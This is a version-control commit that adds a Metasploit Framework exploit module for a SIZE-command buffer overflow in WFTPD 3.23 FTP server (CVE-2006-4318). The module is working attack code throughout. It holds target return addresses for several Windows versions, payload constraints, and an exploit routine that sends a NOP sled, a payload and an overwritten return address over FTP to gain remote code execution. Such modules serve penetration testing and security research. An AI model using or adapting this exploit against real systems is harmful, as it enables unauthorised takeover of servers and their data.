added exploit module wftpd_size.rb

git-svn-id: file:///home/svn/framework3/trunk@4578 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/windows/ftp/wftpd_size.rb

@@ -0,0 +1,74 @@
+##
+# $Id: wftpd_size.rb 4498 2007-03-01 08:21:36Z mmiller $
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to 
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/projects/Framework/
+##
+
+
+require 'msf/core'
+
+module Msf
+
+class Exploits::Windows::Ftp::Wftpd_Size < Msf::Exploit::Remote
+
+	include Exploit::Remote::Ftp
+
+	def initialize(info = {})
+		super(update_info(info,	
+			'Name'           => 'Texas Imperial Software WFTPD 3.23 SIZE Overflow',
+			'Description'    => %q{
+				This module exploits a buffer overflow in the SIZE verb in
+				Texas Imperial's Software WFTPD 3.23.
+			},
+			'Author'         => 'MC',
+			'License'        => MSF_LICENSE,
+			'Version'        => '$Revision: 4498 $',
+			'References'     =>
+				[
+					[ 'BID', '19617' ],
+					[ 'CVE', '2006-4318' ],
+				],
+			'Privileged'     => true,
+			'DefaultOptions' =>
+				{
+					'EXITFUNC' => 'process',
+				},
+			'Payload'        =>
+				{
+					'Space'    => 500,
+					'BadChars' => "\x00\x20\x0a\x0d",
+					'StackAdjustment' => -3500,	
+				},
+			'Platform' 		  => 'win',
+			'Targets'        => 
+				[
+					[ 'Windows 2000 Pro SP4 English',			{ 'Ret' => 0x7c2d3028 } ],
+					[ 'Windows XP Pro SP1 English',				{ 'Ret' => 0x77dd1595 } ],
+					[ 'Windows XP Pro SP2 English',           { 'Ret' => 0x77d498ec } ],
+				],
+			'DisclosureDate' => 'Aug 23 2006',
+			'DefaultTarget' => 0))
+	end
+
+	def exploit
+		connect_login
+
+		sploit =  "/" + make_nops(525 - payload.encoded.length)   
+		sploit << payload.encoded + [target.ret].pack('V')   
+
+		print_status("Trying target #{target.name}...")
+
+		send_cmd(['SIZE', sploit], false)
+		sleep(2)
+
+		handler
+		disconnect
+	end
+
+end
+end